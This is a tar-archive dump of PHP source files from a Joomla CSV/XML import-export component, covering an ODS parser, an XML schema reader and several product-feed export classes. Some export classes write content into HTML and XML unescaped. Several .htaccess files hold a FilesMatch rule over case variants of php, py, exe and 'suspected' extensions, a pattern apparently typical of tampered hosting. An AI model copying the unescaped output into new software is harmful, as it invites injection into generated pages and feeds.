			// Default to a reading a single node in the next loop
			$use_read = true;
			// Ignore any node associated with the root
			if ($xml_schema->name == 'da_root' ) {
				continue;
			}

			// Process start elements
			if ($xml_schema->nodeType == XMLReader::ELEMENT) {
				$self_closing = $xml_schema->isEmptyElement;
				// Ready to add a new node - but only if the last node was closed
				if (!empty($current_node)) {
					$csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_NODE_UNCLOSED', $current_node));
					return false;
				}

				// A new node was found - Check whether this is a new record type
				if (empty($current_record)) {
					// New record type
					// Check for a self-closing node
					$self_closing = $xml_schema->isEmptyElement;
					$current_record = strtolower($xml_schema->name);
					$this->_xml_records[] = strtolower($current_record);

					// Store any attributes
					while ($xml_schema->moveToNextAttribute()) {
						// Note1: $xml_schema->hasValue only indicates whether the element can have a value, not whether it does
						// Note2: empty($xml_schema->value) always return true, regardless of the actual value
						$value = $xml_schema->value;
						if( !empty($value) ) {
							if( $this->_isXmlFieldNameValid($xml_schema->value) ) {
								$this->_xml_schema[$current_record]['attrs'][strtolower($xml_schema->name)] = trim($xml_schema->value);
							}
							else {
								$csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_FILE_MAP_NO_REFERENCE', $xml_schema->value));
								$xml_schema->close();
								return false;
							}
						}
					}
					// Check for a self-closing node
					if( $self_closing == true ) {
						$current_record = '';
					}
				}
				else {
					// New field type
					$current_node = strtolower($xml_schema->name);
					$current_path = $this->_getXmlNodePath($xml_path, $current_node);

					// Store any attributes
					while ($xml_schema->moveToNextAttribute()) {
						// Note1: $xml_schema->hasValue only indicates whether the element can have a value, not whether it does
						// Note2: empty($xml_schema->value) always return true, regardless of the actual value
						$value = $xml_schema->value;
						if( !empty($value) ) {
							if( $this->_isXmlFieldNameValid( $xml_schema->value ) ) {
								$this->_xml_schema[$current_record]['nodes'][$current_path]['attrs'][strtolower($xml_schema->name)] = trim($xml_schema->value);
							}
							else {
								$csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_FILE_MAP_NO_REFERENCE', $xml_schema->value));
								$xml_schema->close();
								return false;
							}
						}
					}
					$sub_node_content = $xml_schema->readInnerXML();

					// Check whether there are any lower level nodes
					if (strstr($sub_node_content, '<') === false) {
						/**
						 * Content has no embedded nodes - Assume a field name
						 * Note: An empty node gives a blank field name which indicates an unwanted node
						 * that is being mapped to prevent errors when processing the file
						 */
						if ($this->_isXmlFieldNameValid($sub_node_content)) {
							$this->_xml_schema[$current_record]['nodes'][$current_path]['field'] = trim($sub_node_content);
						}
						else {
							$this->_xml_schema[$current_record]['nodes'][$current_path]['field'] = '';
						}
					}
					else {
						// There are embedded nodes - go down another level
						// Indicate a 'group' node by storing an empty field name
						$this->_xml_schema[$current_record]['nodes'][$current_path]['field'] = '';
						// Push the node name to the path stack
						$this->_pushXmlNodePath($xml_path, $current_node);
						if( $this->_getXmlNode($sub_node_content, $current_record, $xml_path) == false ) {
							$xml_schema->close();
							return false;
						}
						// At the next read, skip to the next node at this level
						$use_read = false;
						// Close the node
						$current_node = '';
						// Pop the last item off the path stack
						$this->_popXmlNodePath($xml_path);
					}

					// Check for a self-closing node
					if ($self_closing == true) {
						$current_node = '';
					}
				}
			}
			// Process end elements
			else if( $xml_schema->nodeType == XMLReader::END_ELEMENT ) {
				// End of node found
				// Check for end of record
				if( !empty($current_record) && strtolower($xml_schema->name) == $current_record ) {
					// End of record detected
					$current_record = '';
				} // Check that the expected node was closed
				else if( !empty($current_node) && strtolower($xml_schema->name) == $current_node ) {
					// End of current node detected
					$current_node = '';
				}
			}
		}
		$xml_schema->close();

		// Node not terminated
		if (!empty($current_node) ) {
			$csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_NODE_NOT_CLOSED', $current_node));
			return false;
		}
		if (empty($this->_xml_records) ) {
			$csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_NO_RECORDS_DEFINED'));
			return false;
		}
		return true;
	}

	/**
	* Create a string to represent the XML node hierarchy from the 'record' node to a 'field' node
	*
	* @return string
	*/
	private function _getXmlNodePath($xml_path, $node_name) {
		return implode(',', $xml_path).(empty($xml_path) ? '' : ',').$node_name;
	}

	/**
	* Determines whether a specific field name is included in the list of
	*
	* @return boolean
	*/
	private function _isXmlFieldNameValid($field_name) {
		return in_array(strtolower($field_name), $this->_supported_fields);
	}

	/**
	* Add a new entry to the XML node stack
	*/
	private function _pushXmlNodePath($xml_path, $node_name) {
		/**
		 * Note: The array index is made explicit because when a new row is added, the index value
		 * assigned is one greater than that previously assigned. When enries are being continuously
		 * added and removed, the automatically assigned index number becomes unpredictable
		 */
		$xml_path[count($xml_path)] = strtolower($node_name);
	}

	/**
	 * Remove the last entry from the XML node stack
	 *
	 * @copyright
	 * @author 		doorknob
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return
	 * @since 		3.0
	 */
	private function _popXmlNodePath($xml_path) {
		if( count($xml_path) > 1 ) {
			unset($xml_path[count($xml_path)-1]);
		} else {
			$xml_path = array();
		}
	}

	/**
	 * Sets the file pointer back to beginning
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function rewind() {
		$this->linepointer = 0;
	}

	/**
	 * Advances the file pointer 1 forward
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		bool	$preview	True if called from the preview
	 * @return
	 * @since		3.0
	 */
	public function next($preview=false) {
		if (!$preview) $discard = $this->readNextLine();
	}
}
?>
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/import/index.html������������������������������������������������������������������������������0000666�����������������00000000000�15137667660�0011005 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/import/ods_reader.php��������������������������������������������������������������������������0000666�����������������00000011626�15137667660�0011650 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * XML parser for ODS files
 *
 * Parses the content.xml file
 *
 * @package 	CSVI
 * @subpackage 	Helpers
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: ods_reader.php 2275 2013-01-03 21:08:43Z RolandD $
 *
 * @todo add support for zip file
 * @todo Check if file xists
 * @todo Better error handling, no die usage
 */
 
/**
 * Parse ODS files
 *
 * @package CSVI
 * @subpackage Helpers
 */
class ODSParser {
	
	/* Set private variables */
	/** @var string filename */
	private $_file = null;
	/** @var string tag */
	private $_tag = null;
	/** @var object the xml parser */
	private $_xml_parser = null;
	/** @var bool set if inside a tag */
	private $_insideitem = false;
	/** @var array tags to process */
	private $_tagprocess = array('TABLE:TABLE-CELL', 'TABLE:TABLE-ROW');
	/** @var array holds the data per node */
	public $_data = array();
	/** @var integer counts the positions */
	private $_poscount = 0;
	/** @var integer counts the number of times a string is repeated */
	private $_columns_repeated = 0;
	
	/* Set public variables */
	/** @var array holds the parsed data */
	public $fulldata = array();
	/** @var int holds the number of rows */
	public $rows = null;
	/** @var int holds the number of columns */
	public $cols = null;
	
	private $_linecount = 0;
	
	/**
	* Start to process the XML file
	*
	* @todo change die to a proper return result
	* @todo add support for <table:table-cell/>
	 */
	public function read($filename) {
		$this->_file = $filename;
		list($this->_xml_parser, $fp) = $this->new_xml_parser($this->_file);
		if (!$this->_xml_parser) {
			die("could not open XML input");
		}           
		$data = '';
		while (!feof($fp)) {
			$data .= fread($fp, 4096);
		}
		fclose($fp);
		
		if (!xml_parse($this->_xml_parser, $data, true)) {
			die(sprintf("XML error: %s at line %d\n",
						xml_error_string(xml_get_error_code($this->_xml_parser)),
						xml_get_current_line_number($this->_xml_parser)));
		}
		
		xml_parser_free($this->_xml_parser);
		$this->cols = count($this->_data[1]);
		$this->rows = count($this->_data);
		return true;
	}
	
	/**
	 * Handle the opening element
	 */
	private function startElement($parser, $tagname, $attribs) {
		switch ($tagname) {
			case 'TABLE:TABLE-ROW':
				$this->_linecount++;
				break;
			case 'TABLE:TABLE-CELL':
				$styles = array_keys($attribs);
				if (empty($styles)) {
					$this->_data[$this->_linecount]['options']['repeat'] = 1;
				}
				else {
					foreach ($styles as $stylekey => $style) {
						switch ($style) {
							case 'TABLE:NUMBER-COLUMNS-REPEATED':
								$this->_data[$this->_linecount]['options']['repeat'] = $attribs[$style];
								break;
							case 'OFFICE:VALUE-TYPE':
								$this->_data[$this->_linecount]['options']['type'] = $attribs[$style];
								break;
						}
					}
				}
				break;
			case 'TEXT:P':
				$this->_data[$this->_linecount];
				break;
		}
	}
	
	/**
	* Handle the closing element
	 */
	private function endElement($parser, $name) {
		if (array_key_exists($this->_linecount, $this->_data)) {
			if (!array_key_exists('data', $this->_data[$this->_linecount])
				&& array_key_exists('options', $this->_data[$this->_linecount])) {
				foreach ($this->_data[$this->_linecount]['options'] as $option => $value) {
					switch ($option) {
						case 'type':
							break;
						case 'repeat':
							for ($r=0; $r < $value; $r++) {
								$this->_data[$this->_linecount][] = '';
							}
							break;
					}
				}
			}
			else unset($this->_data[$this->_linecount]['data']);
			if (array_key_exists('options', $this->_data[$this->_linecount])) unset($this->_data[$this->_linecount]['options']);
		}
	}
	
	/**
	* Handle the data
	*
	* @todo parse <text:s text:c="2"/>
	 */
	private function characterData($parser, $data) {
		foreach ($this->_data[$this->_linecount]['options'] as $option => $value) {
			switch ($option) {
				case 'type':
					break;
				case 'repeat':
					for ($r=1; $r < $value; $r++) {
						$this->_data[$this->_linecount][] = $data;
					}
					break;
			}
		}
		$this->_data[$this->_linecount][] = $data;
		unset($this->_data[$this->_linecount]['options']);
		$this->_data[$this->_linecount]['data'] = true;
	}
	
	private function new_xml_parser($file) {
		$this->_xml_parser = xml_parser_create("UTF-8");
		xml_parser_set_option($this->_xml_parser, XML_OPTION_CASE_FOLDING, 1);
		xml_set_object($this->_xml_parser, $this);
		xml_set_element_handler($this->_xml_parser, "startElement", "endElement");
		xml_set_character_data_handler($this->_xml_parser, "characterData");
		$fp = fopen($file, "rb");
		if (!$fp) return false;
		else return array($this->_xml_parser, $fp);
	}
}
?>
����������������������������������������������������������������������������������������������������������file/import/.htaccess�������������������������������������������������������������������������������0000666�����������������00000000177�15137667660�0010625 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
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</FilesMatch>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/index.html�������������������������������������������������������������������������������������0000666�����������������00000000000�15137667660�0007473 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/export/index.html������������������������������������������������������������������������������0000666�����������������00000000000�15137667660�0011014 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/export/html/index.html�������������������������������������������������������������������������0000666�����������������00000000000�15137667660�0011760 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/export/html/.htaccess��������������������������������������������������������������������������0000666�����������������00000000177�15137667660�0011600 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
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</FilesMatch>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/export/html/csvimproved.php��������������������������������������������������������������������0000666�����������������00000005372�15137667660�0013056 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * HTML class
 *
 * @package 	CSVI
 * @subpackage 	Export
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: csvimproved.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * HTML Export Class
 *
 * @package 	CSVI
 * @subpackage 	Export
 */
class CsviCsvimproved {
	
	/** @var string contains the data to export */
	var $contents = "";
	/** @var string contains the XML node to export */
	var $node = "";
	
	/**
	 * Creates the HTML header
	 *
	 * @return string HTML header
	 */
	function HeaderText() {
		$this->contents = '<html><head></head>'.chr(10);
		$this->contents .= '<body><table>'.chr(10);
		return $this->contents;
	}
	
	/**
	 * Start the table header
	 *
	 * @return string start table header
	 */
	function StartTableHeaderText() {
		return '<thead><tr>';
	}
	
	/**
	 * End the table header
	 *
	 * @return string end table header
	 */
	function EndTableHeaderText() {
		return '</tr></thead>'.chr(10);
	}
	
	/**
	 * Creates the table header
	 *
	 * @return string th field
	 */
	public function TableHeaderText($headers) {
		return '<th>'.$headers.'</th>';
	}
	
	/**
	 * Start the table body header
	 *
	 * @see $contents
	 * @return string table body header
	 */
	public function BodyText() {
		return '<tbody>';
	}
	
	/**
	 * Creates the HTML footer
	 *
	 * @see $contents
	 * @return string HTML footer
	 */
	function FooterText() {
		$this->contents = '</tbody></table></body></html>'.chr(10);
		return $this->contents;
	}
	
	/**
	* Opens a table row
	*
	* @see $contents
	* @return string tr opening tag
	 */
	function NodeStart() {
		$this->contents = '<tr>'.chr(10); 
		return $this->contents;
	}
	
	/**
	* Closes a table row
	*
	* @see $contents
	* @return string tr closing tag
	 */
	function NodeEnd() {
		$this->contents = '</tr>'.chr(10); 
		return $this->contents;
	}
	
	/**
	* Adds a table td element
	*
	* @see $node
	* @return string td row
	 */
	function Element($column_header, $cdata=false) {
		$this->node = '<td>';
		$this->node .= $this->contents;
		$this->node .= '</td>';
		$this->node .= "\n";
		return $this->node;
	}
	
	/**
	* Handles all content and modifies special cases
	*
	* @see $contents
	* @return string formatted table row
	 */
	function ContentText($content, $column_header, $fieldname, $cdata=false) {
		switch ($fieldname) {
			default:
				$this->contents = $content;
				break;
		}
		return $this->Element($column_header, $cdata);
	}
}
?>
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/export/xml/index.html��������������������������������������������������������������������������0000666�����������������00000000000�15137667660�0011614 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/export/xml/oodle.php���������������������������������������������������������������������������0000666�����������������00000004715�15137667660�0011453 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Oodle XML class
 *
 * @package 	CSVI
 * @subpackage 	Export
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: oodle.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * Oodle XML Export Class
 *
 * @package 	CSVI
 * @subpackage 	Export
 * @link 		http://www.oodle.com/info/feed/merchandise_feed_doc.html
 */
class CsviOodle {
	
	/** @var string contains the data to export */
	var $contents = "";
	/** @var string contains the XML node to export */
	var $node = "";
	
	/**
	* Creates the XML header
	*
	* @see $contents
	* @return string XML header
	 */
	function HeaderText() {
		$this->contents = '<?xml version="1.0" encoding="UTF-8"?>'.chr(10);
		$this->contents .= '<listings>'.chr(10);
		return $this->contents;
	}
	
	/**
	* Creates the XML footer
	*
	* @see $contents
	* @return string XML header
	 */
	function FooterText() {
		$this->contents = '</listings>'.chr(10);
		return $this->contents;
	}
	
	/**
	* Opens an XML item node
	*
	* @see $contents
	* @return string XML node data
	 */
	function NodeStart() {
		$this->contents = '<listing>'.chr(10); 
		return $this->contents;
	}
	
	/**
	* Closes an XML item node
	*
	* @see $contents
	* @return string XML node data
	 */
	function NodeEnd() {
		$this->contents = '</listing>'.chr(10); 
		return $this->contents;
	}
	
	/**
	* Adds an XML element
	*
	* @see $node
	* @return string XML element
	 */
	function Element($column_header, $cdata=false) {
		$this->node = '<'.$column_header.'>';
		if ($cdata) $this->node .= '<![CDATA[';
		$this->node .= $this->contents;
		if ($cdata) $this->node .= ']]>';
		$this->node .= '</'.$column_header.'>';
		$this->node .= "\n";
		return $this->node;
	}
	
	/**
	* Handles all content and modifies special cases
	*
	* @see $contents
	* @return string formatted XML element
	 */
	function ContentText($content, $column_header, $fieldname, $cdata=false) {
		switch ($fieldname) {
			case 'manufacturer_name':
			case 'product_url':
				$cdata = true;
			default:
				$this->contents = $content;
				break;
		}
		if (empty($column_header)) $column_header = $fieldname;
		return $this->Element($column_header, $cdata);
	}
}
?>
���������������������������������������������������file/export/xml/csvimproved.php���������������������������������������������������������������������0000666�����������������00000004715�15137667660�0012712 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * CSV Improved XML class
 *
 * @package 	CSVI
 * @subpackage 	Export
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: csvimproved.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * CSV Improved XML Export Class
 *
 * @package 	CSVI
 * @subpackage 	Export
 */
class CsviCsvimproved {
	
	/** @var string contains the data to export */
	var $contents = "";
	/** @var string contains the XML node to export */
	var $node = "";
	
	/**
	* Creates the XML header
	*
	* @see $contents
	* @return string XML header
	 */
	public function HeaderText() {
		$this->contents = '<?xml version="1.0" encoding="UTF-8"?>'.chr(10);
		$this->contents .= '<channel>'.chr(10);
		return $this->contents;
	}
	
	/**
	* Creates the XML footer
	*
	* @see $contents
	* @return string XML header
	 */
	public function FooterText() {
		$this->contents = '</channel>'.chr(10);
		return $this->contents;
	}
	
	/**
	* Opens an XML item node
	*
	* @see $contents
	* @return string XML node data
	 */
	public function NodeStart() {
		$this->contents = '<item>'.chr(10); 
		return $this->contents;
	}
	
	/**
	* Closes an XML item node
	*
	* @see $contents
	* @return string XML node data
	 */
	public function NodeEnd() {
		$this->contents = '</item>'.chr(10); 
		return $this->contents;
	}
	
	/**
	* Adds an XML element
	*
	* @see $node
	* @return string XML element
	 */
	private function Element($column_header, $cdata=false) {
		$this->node = '<'.$column_header.'>';
		if ($cdata) $this->node .= '<![CDATA[';
		$this->node .= $this->contents;
		if ($cdata) $this->node .= ']]>';
		$this->node .= '</'.$column_header.'>';
		$this->node .= "\n";
		return $this->node;
	}
	
	/**
	* Handles all content and modifies special cases
	*
	* @see $contents
	* @return string formatted XML element
	 */
	public function ContentText($content, $column_header, $fieldname, $cdata=false) {
		switch ($fieldname) {
			case 'field_default_value':
			case 'product_attribute':
				$cdata = true;
			default:
				$this->contents = $content;
				break;
		}
		if (empty($column_header)) $column_header = $fieldname;
		return $this->Element($column_header, $cdata);
	}
}
?>
���������������������������������������������������file/export/xml/google.php��������������������������������������������������������������������������0000666�����������������00000010514�15137667660�0011617 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Google Base XML class
 *
 * @package 	CSVI
 * @subpackage 	Export
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: google.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * Google XML Export Class
 *
* @package CSVI
 * @subpackage Export
 */
class CsviGoogle {

	/** @var string contains the data to export */
	var $contents = "";
	/** @var string contains the XML node to export */
	var $node = "";

	/**
	* Creates the XML header
	*
	* @see $contents
	* @todo take settings from the global array
	* @return string XML header
	 */
	function HeaderText() {
		$this->contents = '<?xml version="1.0" encoding="UTF-8"?>'.chr(10);
		$this->contents .= '<rss version="2.0" xmlns:g="http://base.google.com/ns/1.0" ';
		// Google Base Custom Namespace
		$this->contents .= 'xmlns:c="http://base.google.com/cns/1.0">'.chr(10);
		$this->contents .= '<channel>'.chr(10);
		// Get the XML channel header
		$settings = JRequest::getVar('settings');
		$this->contents .= '<title>'.$settings->get('google_base.gb_title').'</title>'.chr(10);
		$this->contents .= '<link>'.$settings->get('google_base.gb_link').'</link>'.chr(10);
		$this->contents .= '<description>'.$settings->get('google_base.gb_description').'</description>'.chr(10);
		return $this->contents;
	}

	/**
	* Creates the XML footer
	*
	* @see $contents
	* @return string XML header
	 */
	function FooterText() {
		$this->contents = '</channel>'.chr(10);
		$this->contents .= '</rss>'.chr(10);
		return $this->contents;
	}

	/**
	* Opens an XML item node
	*
	* @see $contents
	* @return string XML node data
	 */
	function NodeStart() {
		$this->contents = '<item>'.chr(10);
		return $this->contents;
	}

	/**
	* Closes an XML item node
	*
	* @see $contents
	* @return string XML node data
	 */
	function NodeEnd() {
		$this->contents = '</item>'.chr(10);
		return $this->contents;
	}

	/**
	* Adds an XML element
	*
	* @see $node
	* @return string XML element
	 */
	function Element($column_header, $cdata=false) {
		if (stristr($column_header, 'c:')) {
			$this->node = '<'.$column_header.' type="string">';
		}
		else $this->node = '<'.$column_header.'>';
		if ($cdata) $this->node .= '<![CDATA[';
		$this->node .= $this->contents;
		if ($cdata) $this->node .= ']]>';
		$this->node .= '</'.$column_header.'>';
		$this->node .= "\n";
		return $this->node;
	}

	/**
	* Handles all content and modifies special cases
	*
	* @see $contents
	* @return string formatted XML element
	 */
	function ContentText($content, $column_header, $fieldname, $cdata=false) {
		switch ($fieldname) {
			case 'custom_shipping':
				switch($column_header) {
					case 'g:shipping':
						if (strpos($content, ':')) {
							list($country, $service, $price) = explode(":", $content);
							$this->contents = '
							<g:country>'.$country.'</g:country>
							<g:service>'.$service.'</g:service>
							<g:price>'.$price.'</g:price>
							';
						}
						else $this->contents = '';
					break;
				}
				break;
			case 'custom':
				switch($column_header) {
					case 'g:tech_spec_link':
						$cdate = true;
						$this->contents = $content;
						break;
					case 'g:tax':
						list($country, $region, $rate, $tax_ship) = explode(":", $content);
						$this->contents = '
						<g:country>'.$country.'</g:country>
						<g:region>'.$region.'</g:region>
						<g:rate>'.$rate.'</g:rate>
						<g:tax_ship>'.$tax_ship.'</g:tax_ship>
						';
						break;
					default:
						$this->contents = $content;
						break;
				}
				break;
			case 'category_path':
				$paths = explode("|", $content);
				$content = '';
				foreach ($paths as $id => $path) {
					$this->contents = str_replace('/', '>', $path);
					$content .= $this->Element($column_header, $cdata);
				}
				return $content;
				break;
			case 'manufacturer_name':
			case 'product_url':
				$cdata = true;
			default:
				$this->contents = $content;
				break;
		}
		if (empty($column_header)) $column_header = $fieldname;
		return $this->Element($column_header, $cdata);
	}
}
?>
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/export/xml/beslist.php�������������������������������������������������������������������������0000666�����������������00000004002�15137667660�0012003 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * beslist.nl XML class
 *
 * @package 	CSVI
 * @subpackage 	Export
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: beslist.php 2275 2013-01-03 21:08:43Z RolandD $
 */
 
defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * XML Export for beslist.nl
 *
 * @package 	CSVI
 * @subpackage 	Export
 *
 */
class CsviBeslist {
	
	/** @var string contains the data to export */
	var $contents = "";
	/** @var string contains the XML node to export */
	var $node = "";
	
	function HeaderText() {
		$this->contents = '<?xml version="1.0" encoding="UTF-8"?>'.chr(10);
		$this->contents .= '<export>'.chr(10);
		return $this->contents;
	}
	
	function FooterText() {
		$this->contents = '</export>'.chr(10);
		return $this->contents;
	}
	
	function NodeStart() {
		$this->contents = '<product>'.chr(10); 
		return $this->contents;
	}
	
	function NodeEnd() {
		$this->contents = '</product>'.chr(10); 
		return $this->contents;
	}
	
	function Element($column_header, $cdata=false) {
		$this->node = '<'.$column_header.'>';
		if ($cdata) $this->node .= '<![CDATA[';
		$this->node .= $this->contents;
		if ($cdata) $this->node .= ']]>';
		$this->node .= '</'.$column_header.'>';
		$this->node .= "\n"; 
		return $this->node;
	}
	
	function ContentText($content, $column_header, $fieldname, $cdata=false) {
		switch ($fieldname) {
			case 'category_path':
				$this->CategoryPath($content);
				break;
			case 'manufacturer_name':
			case 'product_url':
				$cdata = true;
			default:
				$this->contents = $content;
				break;
		}
		if (empty($column_header)) $column_header = $fieldname;
		return $this->Element($column_header, $cdata);
	}
	
	function CategoryPath($category) {
		$this->contents = str_replace("/", " &gt; ", trim($category));
	}
}
?>
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/export/xml/custom.php��������������������������������������������������������������������������0000666�����������������00000005224�15137667660�0011657 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Custom XML class
 *
 * @package 	CSVI
 * @subpackage 	Export
 * @todo		Clean up class vars
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: custom.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * Custom XML Export Class
 *
 * @package 	CSVI
 * @subpackage 	Export
 */
class CsviCustom {

	/** @var string contains the data to export */
	var $contents = "";
	/** @var string contains the XML node to export */
	var $node = "";

	/**
	 * Creates the XML header
	 *
	 * @see $contents
	 * @return string XML header
	 */
	public function HeaderText() {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		return $template->get('header', 'layout', '', null, 2);
	}

	/**
	 * Creates the XML footer
	 *
	 * @see $contents
	 * @return string XML header
	 */
	public function FooterText() {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		return $template->get('footer', 'layout', '', null, 2);
	}

	/**
	* Opens an XML item node
	*
	* @see $contents
	* @return string XML node data
	 */
	public function NodeStart() {
		$this->_node();
		return;
	}

	/**
	* Closes an XML item node
	*
	* @see $contents
	* @return string XML node data
	 */
	public function NodeEnd() {
		return $this->_node;
	}

	/**
	 * A full node template
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return
	 * @since 		3.0
	 */
	private function _node() {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		$this->_node = $template->get('body', 'layout', '', null, 2);
	}

	/**
	* Adds an XML element
	*
	* @see $node
	* @return string XML element
	 */
	private function _element($content, $fieldname, $cdata=false) {
		$data = '';
		if ($cdata) $data .= '<![CDATA[';
		$data .= $content;
		if ($cdata) $data .= ']]>';
		$this->_node = str_ireplace('['.$fieldname.']', $data, $this->_node);
		return;
	}

	/**
	* Handles all content and modifies special cases
	*
	* @see $contents
	* @return string formatted XML element
	 */
	public function ContentText($content, $column_header, $fieldname, $cdata=false) {
		if (empty($column_header)) $column_header = $fieldname;
		return $this->_element($content, $column_header, $cdata);
	}
}
?>
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/export/xml/.htaccess���������������������������������������������������������������������������0000666�����������������00000000177�15137667660�0011434 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
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</FilesMatch>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file/export/.htaccess�������������������������������������������������������������������������������0000666�����������������00000000177�15137667660�0010634 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
